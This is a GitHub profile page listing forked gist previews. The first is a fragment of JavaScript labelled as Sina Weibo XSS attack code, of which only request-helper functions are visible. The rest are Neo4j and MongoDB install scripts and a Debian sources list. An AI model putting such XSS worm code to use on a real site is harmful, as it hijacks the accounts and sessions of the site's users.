Skip to content

Instantly share code, notes, and snippets.

View duolaaa's full-sized avatar
🎯
Focusing

大胡子 duolaaa

🎯
Focusing
  • shenzhen of china
View GitHub Profile
@duolaaa
duolaaa / sina_xss.js
Created June 29, 2017 08:27 — forked from ninehills/sina_xss.js
新浪微博XSS攻击代码
function createXHR(){
return window.XMLHttpRequest?
new XMLHttpRequest():
new ActiveXObject("Microsoft.XMLHTTP");
}
function getappkey(url){
xmlHttp = createXHR();
xmlHttp.open("GET",url,false);
xmlHttp.send();
result = xmlHttp.responseText;
@duolaaa
duolaaa / install-neo4j
Created October 18, 2016 06:00 — forked from wmfairuz/install-neo4j
install-neo4j
# start root shell
sudo -s
# Import our signing key
wget -O - http://debian.neo4j.org/neotechnology.gpg.key | apt-key add -
# Create an Apt sources.list file
echo 'deb http://debian.neo4j.org/repo stable/' > /etc/apt/sources.list.d/neo4j.list
# Find out about the files in our repository
apt-get update
# Install Neo4j, community edition
apt-get install neo4j
@duolaaa
duolaaa / jessie-mongodb-3-0-x.sh
Created October 12, 2016 08:08 — forked from hpherzog/jessie-mongodb-3-0-x.sh
Install mongodb version 3.0.x on debian jessie
#!/bin/sh
apt-key adv --keyserver keyserver.ubuntu.com --recv 7F0CEB10
echo "deb http://repo.mongodb.org/apt/debian wheezy/mongodb-org/3.0 main" | tee /etc/apt/sources.list.d/mongodb-org-3.0.list
apt-get update
apt-get install -y mongodb-org
@duolaaa
duolaaa / Sources.List
Last active October 12, 2016 08:24 — forked from kriswema/Sources.List
##### DEBIAN ################
# Debian Experimental
# deb http://ftp.de.debian.org/debian experimental main contrib non-free
# deb-src http://ftp.de.debian.org/debian experimental main contrib
# Debian Sid # CURRENT UNSTABLE
# deb http://ftp.de.debian.org/debian sid main contrib non-free
# deb-src http://ftp.de.debian.org/debian sid main contrib non-free
# Debian 8.0 (Jessie) # CURRENT TESTING